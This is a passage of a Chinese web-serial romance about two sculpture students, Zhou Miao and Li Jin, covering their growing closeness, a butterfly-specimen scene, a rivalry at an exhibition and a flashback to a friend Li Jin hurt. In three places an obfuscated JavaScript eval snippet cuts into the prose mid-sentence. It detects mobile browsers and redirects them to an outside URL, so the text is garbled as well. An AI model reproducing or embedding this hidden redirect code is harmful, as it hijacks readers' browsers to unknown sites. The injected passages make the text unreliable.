“哪里怪了？”周淼微怔，往下扫了自己一圈，又看向她。 郭安迪笑得意味不明：“哪里都怪。” 在郭安迪的印象中，周淼是一个性子很淡的人，说直白点就是很冷漠，还带着几分傲慢。别看她对谁都是一副客客气气的模样，不冷不热，可实际上能让她放在心里的人没几个。 她和周淼认识两年了，就没见周淼在谁手上吃过亏，她这人很倔，也很聪明，用一句话形容，就是看似美好却暗□□性。说起来，她们俩也算是臭味相投了。 就说今天上午吧，刘圆她们硬是要拉着周淼去南工。这要是按她以往的性格，周淼是绝对不会去，可今天却破例了。固定的圈地被突然打破，不是里面产生了变质，就是外面出现了新的且有趣的猎物。 会是谁呢？ 郭安迪忽然开始好奇，期待。 雕塑是一门空间艺术行为，利用物质材料与技法制作呈现立体视觉，不断的演变发展，通常采用雕、刻、塑三种方式进行自由创作，花样百出，雕塑的种类有很多，方式不计，用老傅的话来说，总之就是一句——“老子想怎么玩就怎么玩。” 你是自由的，艺术也是自由的。 整个世界都是自由的。 日子一天天过，距离期末还有十多天，就快了。这段时间周淼除了吃饭睡觉一直窝在画室里赶作品。因为种类材料的不同，雕塑制作完成的时间各不相同，有的人已经走到收尾部分，有的人还在拼死拼活地赶进度，每天画室都有哀嚎声响起，却没有人停下脚步。 雕塑是一个很有意思却又很特别的学科，外面的人放眼望去，杂乱的画室里一片奇奇怪怪，闹闹哄哄的场景却互不打搅，有的人在搅泥巴，有的人在削木头，还有的人在搞电工焊接……各不相同，却又融洽。 这次的作品大部分人都选择了金属材料，各种铁铝铜锈。只是学校资源有限，地方小又挪不出位置，周淼只好每天下午跑到外面的工作室搞材料，做好形体再带回学校。 很累，却意外的有几分过瘾。 这是以前没有过的感觉。 “你这次发挥不错。”庄志伟扶着眼镜道。 这次庄志伟选择了泥塑，他的作品马上就要收工了。周淼道：“你的也不错。” “想好名字了吗？”庄志伟问。 周淼的作品里用了各种不同形状的铁材料，有生锈的粗钢筋、铁片、铁丝网、大小不同的钉子等混合组建成一个半身人像，腰部尾椎接上一根粗钢筋立起，生绣破烂的铁，氧化过后，充满了沧桑荒废的韵味。 周淼静了一会，说道：“残缺的爱洛斯。” 庄志伟抬眼看向周淼：“残缺的爱洛斯，残缺的爱？” “嗯。”周淼双手抱胸，漫不经心地站在雕塑前，清秀的脸上透着几分恬静的美，对上他询问的目光，她轻轻扯了扯嘴角，不得不说，庄志伟真的很懂。 “可我感觉不到多少残缺。” “还没完成呢。” “也对。”庄志伟点点头，看向周淼的目光里透着几分柔和，“等下一起吃饭去？” 周淼摇头：“不了，太累，我想回去睡一觉。” 忙了这么多天，期末作品总算是熬出来了，剩下的只要慢慢来就好。周淼轻轻地挑了挑眉，心里的石头终于是松了桥，她忽然想起黎烬。 他的作品到什么程度了？ 应该完成了吧。 这段时间她很忙，但他似乎永远都在忙。面食店后他们俩没有再见过，微信上也是寥寥几句，就算偶尔在路上遇见了，也是擦肩而过，素不相识。没有人会把他们联想到一起，哪怕是一个画面也不可能。 也许这样才对，周淼有时候会忍不住想。 高中时代在记忆里总是有着不可磨灭的存在，是最特殊的。十几岁最冲动美好的年纪，肆意，迅猛，亮眼，男男女女，有着不可忽视的青春气息与荷尔蒙，永远写不完的试卷，形形色色的同学与老师，难缠的郑北清与顾岁夕，这大概就是周淼认为的高中。 周淼一直不明白，她为什么会和郑北清这样性格的人成为好朋友？和顾岁夕她能理解，因为他们是差不多的人。 但郑北清不同，她炽热，过于热情阳光，就像一个小太阳，对所有的人和事都保持着激情，像一架永动机，似乎永远都不会停下来。 而她，性格冷淡，平静，对什么都很漠然，和郑北清完全不同。她在很小的时候父母就不在身边了，父母更在意的是事业与金钱，家庭并不重要，所以感情于她而言同样也不重要，长大后她更是习惯了独来独往，久而久之，这成为了一种习惯，很可怕，仿佛一切都没有那么重要。 她知道这样的思维并不正常，可她没有办法。 习惯注定了她的性格。 郑北清的出现就像一块坚硬无比的石头，她忽然出现，迅猛地砸破了周淼心里围绕起来玻璃窗，猝不及防让阳光从外面溢了进来，溢进周淼心底。 “淼淼，一起去嘛，大家都一起去上厕所！”下课铃刚刚敲响，郑北清兴奋地拉着周淼去洗手间。 周淼不明白，为什么上个厕所要两个人？尤其是女生之间。 可似乎大家都是这样，需要有一个人陪着。 郑北清嚷道：“去嘛去嘛！” 对上郑北清期待的目光，周淼轻轻一叹，无奈地点了点头。 郑北清笑逐颜开，拉着周淼兴高采烈地走了，像是要去做一件大事。 高中三年，周淼第一次住校，就落入了郑北清的贼手，之后，她们一个宿舍，一个班，不管是吃饭睡觉，还是干其他的，两人都不曾分开。 郑北清的成绩开始不太行，高二的时候和周淼与顾岁夕落下一大截，天天被老师批，而周淼和顾岁夕每次都是年纪前十，为了弥补差距，她也是从那时候开始努力。 “什么时候这么拼了！”出来玩郑北清手里还拿着单词，顾岁夕见状忍不住吐槽。 郑北清：“你们都那么厉害，我肯定要好好学习，以后我们可是要在一个城市读书的！我不能落下！” “那你加油哦。”就是这么闹闹哄哄的一个人，有点大大咧咧，却把周淼坚垒的心一点点击溃。 那时候一切都是那么美好，我们却在不知不觉中慢慢失去。 高考前一个月，郑北清口中忽然多了一个陌生人的名字，是个男生。 他是外校的学生，叫黎烬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043953|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 是郑北清的——新朋友。 “他约我周未见面。”郑北清笑兮兮地对周淼说，脸色红润。 周淼看着她，提醒道：“就快高考了。” “没事，就是见一见。”郑北清头发被风吹得乱糟糟，她笑得很甜，还有点害羞：“其实我有点喜欢他，就是不知道他的心里有没有我。” 周淼一时不知道该说什么。 这么关键的时刻，她说她有了喜欢的人。 自那以后，郑北清开始频繁的往校外跑，她似乎忘记了高考，也忘记了她们。 周淼苦口婆心的劝说，让她先以学习为重，可她总是笑着说：“放心，没事的淼淼，我回家有好好学习，我还要和他一起去A市上学呢！” “是么。” 周淼第一次感觉到被抛弃。 顾岁夕笑话她：“你以前可不对别人的事这么上心。” 周淼：“她不是别人。” 顾岁夕劝周淼道：“周淼，马上就要高考了，你别管这么多。” “反正她也听不进去。” 大家都忙着备考，顾岁夕也很少跟她们一起了。郑北清成绩不太稳定，高三最后一学期，为了高考，大家都选了走读，每次放学回家，她也不和周淼一起走了，会有人来接她，好几个不穿校服的男生开着摩托车在校门口等，郑北清笑吟吟地上车，和周淼挥手告别。 而那些人里面，并没有郑北清口中的黎烬，周淼很不安，可她一点办法也没有。 高中毕业后，周淼想过，如果当初自己强硬一点，坚持一点，不准她出去找那些人，又或者给她一巴掌，她是不是就不会那样了。 可当周淼第一次见到郑北清口中的黎烬后，她才知道自己当初的想法有多荒谬。 那天，她气喘吁吁地跑到黎烬读书的学校，想要替郑北清质问一番，问他为什么要这样？ 明明还有几天就要高考了，他却毫不留情地甩了郑北清，甚至在她的心上扎刀子，肆意伤害，让他的朋友辱骂欺负，这算什么？ “他，他说我……”郑北清哭得上气不接下气，哽咽道：“我，我他妈就是个傻逼！他们就是玩玩我！他根本就没有喜欢过我！他们拿我当消遣，我就像他们的一条狗，他们骗我……呜呜根本就是拿我在打赌，那个女的，还骂我是丑逼……”她忽然抓住周淼的手，颤抖着问：“我是不是真的太丑了，所以他才会这样对我？！” 周淼心疼极了，抱着她说了一遍又一遍：“不是的。” “不是……不是的他们为什么要这样做啊！” 是啊，为什么？ 她站在学校对面的槐树下，正值放学校门口的学生密密麻麻，周淼没见过黎烬，更不认识，她只是在郑北清口中听到过。 他染着一头金发。 很高，瘦瘦的，人很帅气。 周淼等了很久，久到校门口的人都快走完了，她也没有看到黎烬的身影。 就在她以为等不到了，几个男生拖拖拉拉地走出校门，其中有一个人，便是一头金发。 那人肤色极白，懒洋洋地背着一个黑色挎包，他没穿校服，走起路来浑身透着一股慵懒，像只没睡醒的猫。 她拧着眉上前一步，想要质问，就在这时，那人漫不经心地抬起眼眸，宿命般朝周淼的方向瞥来，两人的目光在半空中轻轻一碰，随即停滞。 对视不过一秒，周淼很确定他就是黎烬，郑北清口中的那个黎烬，可她却没了上前一步的勇气。 周淼狼狈地转过身，飞速离开。 郑北清很惨，高考落榜，连三本线都没有达到，可想而知这考试状态有多差了。 高考完的一个月，她把自己关在家里，不出门也不和人说话，周淼去找她也见不到人，她家里人对她很失望，后来，郑北清承受不了落榜的事实，差点轻生。 去医院检查，医生说，她患上了严重的抑郁症，没办法再上学，她家里人不放心把她带回了老家，那之后，她们也没见过。 顾岁夕高考成绩不错，上了重本大学。而她，选了A市的学校。 只有郑北清留在了原地。 明明三个人说好了，要在一个城市读书的，最后却是分道扬镳。 大一新生军训，南通和南工的学生两边跑，都觉得新奇好玩，周淼跟着学长们去南工参观时，在那里她又一次见到了黎烬。 他还是那副样子，又好像有些不太一样了，头发染回了黑色，不再是浮夸而又耀眼的金，整个人身上多了些凛冽和冷酷，还是那么慵懒，一个人坐在台阶上躲太阳，身边围着很多女生在要微信，叽叽喳喳。 大学里，他成了众人众星捧月的对象，是最耀眼璀璨的存在。他的身边出现过很多女孩，却没有人能够停留。 他孑然一身，了无牵挂。 其实卑鄙的想一想，如果没有郑北清，她是否会像其他人一样，对他深陷其中？ 这个答案，周淼给不了。 但是她始终想不明白，明明她只是喜欢上了一个人，为什么会付出这么大的代价。 8. 吊坠 凌晨两点，周淼睡醒了。 她半坐起身，朦胧的月光透过窗的间隙照进来，周淼巡视一圈，大家都睡着了，底下响起均匀的呼吸声。 已经很久没梦到过这些事了。 她拿过手机，点开微信，黎烬居然给她发了消息。 F：【对了。我差点给忘了，这是你的吗？】底下是一张图片，男生白皙修长的手指上缠着一条彩透琉璃蝴蝶吊坠项链。 黎烬凌晨一点发的消息。 周淼顿了顿，开始打字。 蓝色气泡水：【是我的，原来落在你家了，我还以为丢了。】 消息刚发出几秒，手机突然震动了一下。周淼被吓了一跳，赶紧开静音。 F：【还没睡？】 这个点了，他居然还在线。周淼静了一会，开始打字。 蓝色气泡水：【睡醒了。】 蓝色气泡水：【都两点了，你居然还没有睡？】 F：【就睡了。】 蓝色气泡水：【哦。】 蓝色气泡水：【那晚安吧。】 两分钟过去，就在周淼以为他不会再回复了，结果手机又亮了起来。 黎烬发来一张图片。 周淼点开一看，那是一只大蓝闪蝶的标本。蔚蓝色的翅膀微微展开，黑暗中，闪着紫蓝色的光芒，定格在琉璃瓶里面一动不动，带着几分野性的美。 蓝色气泡水：【很美，是你自己做的吗？】 F：【我家有很多，想看吗？】 周淼眸光微动：【想。】 黎烬发来消息：【来我家。】 【……现在吗？】周淼眨眨眼，盯着这条消息，心里莫名有种难以言说的感觉，脑子突突的。 她在说什么蠢话？！ 【你睡傻了吗？明天过来，顺便把项链拿回去。】黎烬消息回的很快。 周淼脸上划过几分尴尬。她怕是真有些睡傻了，她都能想象到黎烬在手机那头嗤笑她的模样。 黎烬等了有一会，周淼才慢吞吞地回了他一句：【好。】 【晚安。】 【晚安。】 微光闪动，黎烬脸上带笑，点开周淼的微信头像仔细一看，才发现周淼的头像居然是一头驴。 还是一只长得像兔子的驴。 黎烬勾着唇，漫不经心地翻着聊天记录，低垂的眸闪着微光，冷光勾勒出他坚毅的轮廓。半响，少年扬着唇总结道：“果然很呆。” — — 最后一周，画室大部分作品都已经开始收尾，展览会的时间出来了，定在期末前三天。 “淼淼，怎么感觉你的作品这几天都没有动过了。”刘小音站在周淼的画架前拍照。 周淼说道：“就差一步了，想慢慢来，不是还有一周时间吗？” 李小音哦的一声，笑道：“老傅昨天来画室溜了一圈，一直在夸你的作品呢，说你夺魁有望呢。” “是啊，要是得了第一名，可要好好庆祝！”刘圆说。 “那借你们吉言。”周淼说着，忽然想起了黎烬那道双人雕塑，也不知道做成什么样了。 她和黎烬之间，还是有着一定距离的。 “想什么呢。”郭安迪过来拍了拍周淼的肩，她道：“下午没课，陪我买衣服去。” 周淼犹豫了一会，点头。 周末，商业楼最不缺的便是人。郭安迪在商场里逛了一圈，依旧是一副兴致勃勃的样子，买了一堆东西，一点累了的意思也没有。 周淼手机震个不停，她打开微信里面全是黎烬的消息。 【人。】 【人呢？】 【来了没？】 上午的时候，他发消息让周淼下午一点去他家，现在已经一点半了。 周淼静静地翻了一会，然后关掉网络，继续陪郭安迪看衣服去了。 下午四点，周淼累了，两条腿都快走废，坐在休息区一动不动，郭安迪嗤笑她一声，拎着衣服道：“你啊就是在画室窝久了，这才哪到哪啊？这身体以后找男朋友怎么行？” “我身体挺好的。”周淼说。 郭安迪推推她，“走了，下去吃点东西然后回学校，我请客。” 周淼不想动，她拿出手机道：“不想吃，你先回去吧，我等下应该还要见一个人。” “见谁啊。”郭安迪狐疑道：“你外面有人了。” 周淼：“你觉得可能吗？” 郭安迪：“怎么不可能，今年我们去爬九齐山的时候，我可是在观音娘娘那给你求姻缘了，还帮你绑了好几根红绳呢，你今年绝对会桃花朵朵开。” “……”周淼盯着郭安迪，好半响没说出一句话。不知道是被她的话给愣住了，还是怎么的。 “那什么，晚上见。”郭安迪非常识趣地笑了，趁周淼反应前，拎着东西先走了。“拜拜！你好好玩啊！” 黎烬后面又发了挺多消息的，见她一点反应都没有，就停止了轰炸。周淼点开聊天栏，思虑一番，开始回复。 蓝色气泡水：【抱歉抱歉，导师临时有事找我过去帮忙，一直忙到现在不好意思啊！我现在就过去找你，你还在家吗？】 周淼一直盯着聊天栏，不一会上面显示正在输入中，可黎烬一直没发消息过来。 这是生气了。 还是不知道说什么好？ 周淼眨了眨眼，又连发了几句对不起，后面接上一排跪着的小人表情包。 蓝色气泡水：【抱歉，我真的不是故意放你鸽子的。】 不一会，黎烬发来消息。 F：【我只等你二十分钟。】 见状，周淼眉眼一松，也顾不上疲惫连忙跑向电梯口。 她在楼下打了个车，让师傅直接开到半岛小区。周淼来过一次，很快就找到入口。 即使这么赶，还是超过了约定的二十分钟。毕竟她不在学校附近。 楼层里很安静，因为是下午又背着光，四周显得有些昏暗。周淼站在黎烬家门口，看着紧闭的大门轻轻吐出一口气，然后敲门。 “咚咚咚——” 很有节奏的三声，里面却没有任何动静。 周淼知道黎烬在里面。也许就在门那头站着，双手插兜，冷着脸，在考虑要不要给她开门。 “你在吗？是我，周淼。”周淼又敲了敲，里面依旧没有动静。她耐着性子道：“黎烬！开门！！” 还是没反应。 她静了一会，突然提高声音，大声喊道：“黎烬，你在吗？你不在的话我就先走了！” 说完，她真的就不再敲门，周淼后退一步就要转身，就在此时紧闭的大门忽然打开了。 一只手从里面伸出，准确无误地抓住了周淼的手腕，用力一扯，居然把周淼整个人给拉了进去。 砰的一声，门被关上，仿佛从来没有开过一样。 周淼喉咙里溢出一声惊呼，人还没反应过来，就已经被他抵在玄关上，女生薄薄的背紧贴着柜子，冰凉的触感犹如电击般让她莫名生出几分慌张，她怔怔抬头，猝不及防地对上了黎烬黝黑的眼眸，他的眼睛乌亮，像是在发光，隐隐透出几分不耐。 傍晚，天色愈暗，空荡的屋子里没开灯，光线暗沉，狭小的空间里两人交缠的呼吸声变得格外清晰。 黎烬两只手撑在她身侧，以一个环抱的姿势将周淼圈在自己的领地里，没有一丝空隙。 “你迟到了。”他盯着周淼，目光有些危险，脸上写满不爽。 周淼不敢乱动，轻声说：“我已经很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043954|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快了。” 黎烬定定地看着她，周淼在他打量的目光中败下阵来，她咬着唇，小声说道：“对不起。” 然而这句道歉对于黎烬来说并没有什么作用。他低下头，不动声色地往周淼这头凑近，周淼见状屏住呼吸，连大气都不敢喘一下，她瞪着眼，有几分明显的慌乱，一只手紧紧抓着衣服，不敢妄动，随即，她听见一道极低的声音落在耳边。 “周淼。”他叫着她的名字，声音很低：“我长这么大，你是第二个敢放我鸽子的人。” 第二个，那第一个是谁？ 周淼莫名其妙地想着，很快又觉得不对。 ——这关她什么事。 黎烬忽然后退，拉开距离，两只手却没有要放开的意思。周淼有些无奈地说：“我真的不是故意的。” 他不耐道：“我很饿。” 周淼：“那我请你吃饭，你想吃什么都行。” 他道：“不稀罕这个。” 周淼没辙了，第一次觉得他是这么的难对付。黎烬紧紧盯着她，忽然歪了歪头，换了个角度看她：“我们以前是不是见过？” 初见周淼，他并不觉得周淼长得有多惊艳，现在仔细打量一番，倒发现她的五官很精致。 她看着，和别的女生不太一样。 脸小小的，眼睛又大又圆，很乖的一张脸，人却没有那么乖。 周淼心头微抖，她笑了笑，却没什么底气，“应该没有见过……” 她刚开口，黎烬忽然笑了：“那你脸红什么。” “我……”周淼愣了愣，她正想辩解几句，黎烬伸手弹了弹她的额头，力度很轻，却让她清醒了几分。 “走了。”他站直身子，扯着周淼的手往里面走。 周淼跟上他的步伐，手动了动，却被黎烬抓得更紧，他不耐地回头瞥一眼她。 “去哪？”周淼不敢动了，只好问。 “陪我吃饭。” 他说得理所当然。 餐厅空落落的，大片的白色瓷砖看着有些清冷，处处都是冷淡风。长方形的桌子上摆着好几种不同的菜品，周淼一看就知道是他点的外卖。 只是已经凉了，联想到黎烬中午发的大堆消息，她忍不住问：“这是你中午点的？” “嗯。” “为什么不吃？” 黎烬别过头，在一旁坐下，“不想吃。” 那还点这么多？ 他根本就没吃，在等她？ 周淼没说话，走到厨房里看了一圈，厨具都是新的没用过，有的甚至还没有开封。 “都冷了，我去热一下吧。”她找到微波炉，将菜放进去。 黎烬一只手搭在椅背上，懒洋洋地靠着，看着周淼在厨房里走来走去。 船长在阳台上咬着新玩具，不怎么搭理他们。 夕阳落了下来，昏暗柔和。 菜没那么快热好，周淼不喜欢被人一直盯着，她无奈的转过身：“你出去坐会吧。” “这舒服。”男生声音有些懒。 周淼调好时间，淡淡道：“你家里人呢，怎么就你一个人住在这？” 本是一道最平常的问候，周淼却感觉气氛莫名变了。 船长咬着球跑来跑去。 黎烬看着她，很平静地说：“这是我一个人的家。他们不管我，我也不需要。” 周淼顿了顿，望着他没有一丝波澜的眸子，心里的某个地方竟隐隐有些触动。她也是一个人。 她静静地站了一会，半响，抬起眸重新看向黎烬，说：“好巧，我也是一个人，我家里人也不管我。” 两人的视线再次碰撞，在半空中激起了不一样的感觉。 黎烬扯了扯唇，笑了，懒洋洋歪着头道：“想看蝴蝶吗？” 9. 喜欢 黎烬带着周淼走进一间房间，门轻轻扣上，周淼下意识打量四周，昏暗的光线，窗外是橘红色的云彩，极致的色彩对比让人迷离。 黎烬走到窗边，余晖勾勒出他欣长的身影，他轻轻一扯，关上了窗帘。 屋内瞬间陷入黑暗。 周淼不知道他想做什么，但她很确定，这里不是他的房间，因为里面没有床，只有一些柜子，画架颜料，巨大的龟背竹和书，看起来更像是闲暇时工作的地方，她安静地待着，直到有一束微弱的光亮起，黎烬打着手电筒，拉着她的手继续往里走，这小小的房间，竟别有洞天。 他带着周淼走进一个小隔间，看着像衣帽间，突然，他关掉了手电筒，是更浓重的黑暗，黎烬声音响起：“害怕吗？” 感受到腕骨温热的触感，周淼很平静地说：“不怕。” “我准备好了。” 寂静的黑暗中忽然响起一道开关的声响，冷白色的光束从天而降，照亮着这狭小空间里的一角，周淼不是没有设想里面什么样子，可当亲眼看见的那一刻眼中还是闪过几分震惊，眼前挂满了展翅欲飞的大蓝闪蝶，大大小小，冷白的墙上倒影重叠，有一瞬间，这些蓝闪蝶仿佛活了过来，不再似标本一样僵硬的刻在墙上，它们在黑暗中飞行，相互穿梭，隔间最里面的墙上，有一只没画完的蝴蝶，很美，足以动人心魄。 她不知道黎烬是怎么做到的。 又是怎样的喜欢，让他这般桀骜的人做到如此程度。 “你为什么这么喜欢蝴蝶？”周淼没忍住问，眼中闪过好奇。 黎烬淡声道：“有一部分原因，是因为我妈。她喜欢一切美丽而又耀眼的东西，她说有时候，人还不如一只小小的蝴蝶，至少它们是自由的，有破茧而出的勇气，蝴蝶寿命很短，但它们所珍视的并非是漫长岁月，而是每一个短暂的瞬间，于是它们拼命挥舞，因此它们拥有无尽的时间。” 某一个瞬间，仅那一秒，周淼忽然觉得黎烬像是变了一个人，与她之前所认识所以为的黎烬，全然不同，为之触动的那一刻，周淼低下了头。 她心里忽然有些难受。 说不出的感觉。 “你呢？” “为什么喜欢？” 黎烬问。 周淼抬起头，认真道：“我爷爷是动物学家，他经常往各地跑，我一年也见不到他几回，但每年都会收到他的礼物，有时候是一张照片，明信片，某个地方的沙子或者干枯了的树叶，为了观察和研究，一把年纪的老头居然可以跑遍全世界，那时候我想不明白，却又羡慕，有自己喜欢和热爱的事真好。” “直到有一次，他去雨林探险，费劲千辛万苦，带回了一只蛹，几个月的等待，我亲眼看着它破茧成蝶，那一瞬间的震撼难以形容，后来我才知道，那是一只大蓝闪蝶。” 周淼：“第一次见就很喜欢。” “第一次见就很喜欢？”黎烬微微挑眉，他忽然伸手，扯下了周淼绑头发的黑色发绳，大把乌黑的长发如瀑布般散开，周淼眼波流转，蹙着眉望来：“干什么。” 黎烬：“我的了。蝴蝶看了，这个就作为你今天迟到的惩罚。” 说着，他转身往外面走。 周淼理着头发跟上去，“这个头发很难扎的。” “放下挺好看的。” “可是乱。” “那就乱吧。我饿了，要吃饭。” “……” 吃完饭，已经很晚了，周淼打算回学校，黎烬出乎意料的下楼，说是要买烟。路边没什么人，灯光昏暗，黎烬背对着她烟雾缭绕，从远处看倒有几分颓废少年的气质，黎烬见她在看自己，微微挑眉：“你不呛吗？走远点。” 周淼摇头。不仅不呛，闻着还有点心痒痒，压力大的时候，画不出来的时候，烟和酒可是好东西啊。 不过她已经有段时间没碰了。 烟雾中，黎烬声音微哑：“我做完了。” “嗯？”周淼有些没反应过来。 黎烬提醒：“期末作品。你呢？” 周淼：“快了。” 他扯着唇角笑了笑：“忽然很想快点看到你输了的样子。” “你还没说赌约是什么？”周淼有一点不服气，还有点心虚，因为她自己也没底。 黎烬道：“这赌约，就在刚刚，我打算要认真一点了。” 周淼：“你之前不打算认真吗？” 得，她就不该多此一问。 车来了，周淼告别上车，就在她要关车门时，黎烬抵住车门，样子懒洋洋的，嘴里还叼着烟，意有所指：“给你个机会。周淼，看了我的作品再决定要不要赌下去，不然我怕，你会输得人都要没了。” 他逆着光，笑得肆意还有几分浪荡的模样，周淼心微微一触，瞬间明白了他话里的意思，她很轻地笑了笑，像夜里独自绽放的昙花，美丽易碎，眼中满是倔强：“黎烬，我不会输。” — — 那一夜过后，周淼能明显感受到一些变化，黎烬和她的聊天次数增多，话题大多无厘头，却不断，两人在现实中的交际没什么改变，但她知道，她和黎烬之间的关系有些许不同了。 KTV里，显示屏上歌曲不断，热热闹闹放着痴男怨女的歌，空荡荡的包间里只有三个人。 黎烬躺着懒洋洋地玩手机，周武从外地回来了，楚琪特意找了个地方给他接风，周武不喜欢太闹腾，因此他就没叫其他多余的人了。 见黎烬一副恹恹的样子，楚琪坐过去推他，道：“想什么呢？一直捧着个手机在看什么？最近都不出来聚了。” 周武喝着酒，慢悠悠道：“他这样是不是有人了，楚琪，老实交代？” “我靠！问我？！”楚琪继续推搡着黎烬，语气调侃：“真的假的？不会吧阿烬哥哥！？” 黎烬终于有了反应，扯开趴在他身上的楚琪，“有病。离我远点。” 楚琪看他这样，“不会真的吧？真有人了啊？” “我看是。”周武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043955|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑笑。 “你怎么就知道？” “你问问他不就知道了。” 楚琪不依不饶，“说说！”一副黎烬不说誓要纠缠到底的模样。 “你俩烦不烦啊？”黎烬靠后坐，短暂的沉默过后，他脑子里忽然闪过那天夜里，周淼和他打赌时的模样，她脸上带着淡淡的笑，眼里满是倔强执着，不肯认输，那一瞬，他明白，输赢其实没那么重要了。 ——因为他们是一样的人。 想起这些，黎烬嘴角微扬，手指轻轻敲打着手机后壳，一下又一下，语调漫不经心：“是有一个有趣的人，傻乎乎的要和我打赌。” 周淼接到黎烬的电话时，才刚刚下专业课，刚接通时，她甚至都不知道对面是黎烬，还以为是广告电话。 毕竟是陌生号码。 “喂。”电话那头响起熟悉又低沉的声音时，周淼瞬间就听出，这是黎烬打来的电话，她站在下楼的台阶上，身边是走走停停的同学，有一瞬的茫然与愣神：“黎烬？” 他们没留过电话，只有微信。 “你在干嘛？”黎烬在那头问，电话声音吵闹，他身边应该有人。 周淼没答，反问：“你怎么有我电话号码？” “要你的电话很难吗？”他笑声轻轻响起，周淼心头微动，脚尖停在台阶上不上不下。 面对周淼的沉默，黎烬很直接，直截了当地问：“晚上有时间吗？一起出来吃饭。”他话刚说完，周淼耳边就响起了哄闹的笑声，很吵，是男生，她知道黎烬身边一定有人在听着。 周淼很清楚这意味着什么。 短暂的迟疑后，她拒绝了，支支吾吾说着：“不太行，导师刚布置的作业晚上就得弄好，不然这分再扣下去，期末我真的完。下次，下次我请你。” “……”黎烬被拒他自己倒是没多大反应，反倒是楚琪和周武一副不敢置信的样子，还是头一次见黎烬约人，约姑娘有被拒绝的时候。 黎烬还是那副漫不经心的模样，他忽然想起什么，懒声问：“你项链还要不要了？” “要的！”周淼的声音有些急。 上次说是去拿项链的，结果人都回到学校了，才恍恍惚惚想起这件事。 黎烬：“那你过来。” 周淼走下台阶，声音听着忽远忽远的：“可我现在真没时间。” 黎烬：“你什么时候有时间。” “现在还不知道，等我……”周淼知道黎烬又要开始缠人了，这是他一贯的手段。她正想着该怎么说才好，电话那头忽然响起男生的调笑声：“呦！阿烬哥哥在和谁聊天呢？哪位美女啊？你小子也有今天啊哈哈哈……” 嬉笑揶揄的声音与黎烬的不耐回怼形成鲜明对比，周淼听到，那男生还在一个劲地问：“谁啊？到底谁？和谁打电话呢？” “一头驴。”黎烬忽然将手机拿远了些，说完，自己都没忍住笑了，电话那边响起周淼羞涩气恼的声音： “黎烬……我都听见了！” 10. 输赢 这一次展览会地点设在南工，期末前最后几天，老傅检查完所有人的作品后，便指挥着大家将作品摆至南工大学的展厅，做最后的调整。 展览会的正式时间是三天后，三天后两校老师打分评比，最高分为这次的第一名，随后依次。展览会结束他们也就放假了，可以提前离校，这是每次期末为数不多的好处。 这三天里，展厅开放交流，雕塑系的学生都会提前去看，还有许多外校的人，来来往往，论坛刷爆，信息化的时代是这样，不止展厅里都挤满了人，校网上也是一条接着一条： 【握草！完了！感觉这次第一又是南工的了！你们看到黎烬的《Love》了吗？牛逼啊！！！服了……】底下附着一张作品图片，再加一张膜拜大佬的表情包。 【看到了看到了……】心已碎.gif 【嘻嘻嘻嘻！烬爷牛逼！南通的小可怜们！这四年你们不会要一直活在我烬爷的阴影下吧？？】 【结果还没有出来呢？忌半路开香槟！！】警告.gif 【谁认识周淼？】小狗笑.gif 【我南通学神，怎么了？】 【牛！！保进前三！说不定还有望夺冠！】作品图片一附上，底下迅速一堆跟风评论的。 【怎么没听说过这个人啊……】 【没人觉得这个周淼和黎烬的作品有些联动吗？一个是《Love》，炽热大胆至死方休的爱；一个是《残缺的爱洛斯》，爱洛斯，古希腊神话里的爱欲之神，没有心的爱洛斯，不就是残缺的love吗？枯朽腐坏，生了锈的爱意，明明是一个主题，却完全相反的表达与意境，我靠！越说越觉得是这回事？有没有人懂我啊啊啊啊！！】 【懵逼.gif】+5 【惊呆.gif】+5 【吃瓜.gif】+5 【……不是，姐妹？你不会真相了吧？？！他们俩认识吗？？】 电脑屏幕前，祝今夏洋洋洒洒地又敲下一大段逻辑与猜想，惹得网上不少人都这么觉得，开始扒这两人之间的蛛丝马迹，帖子一下就在网上火了。 周淼是被摇醒的。 展览会这事终于算是结束了，结果如何她已经不在意，作品放到南工的展会后，回来她洗了个澡，一直睡到现在直到被刘圆摇醒。 一睁眼，对上刘圆激动的模样和高扬的声音，周淼眼底划过一丝不耐，根本没心情听她在说些什么，看到李小音也在，她耐着性子问：“怎么了？” “你怎么还睡啊！淼淼！你在网上火了啊！！”刘圆表情激动，周淼愣了一瞬，重新躺回去：“无聊。下次再这样我要生气了。” 就这？她还以为怎么了呢？周淼闭着眼，心里烦躁的很。 “你和黎烬是不是认识？”刘圆忽然莫名其妙地问了这么一句。像没成熟的青柠，被人猛地掐出酸涩的汁水。 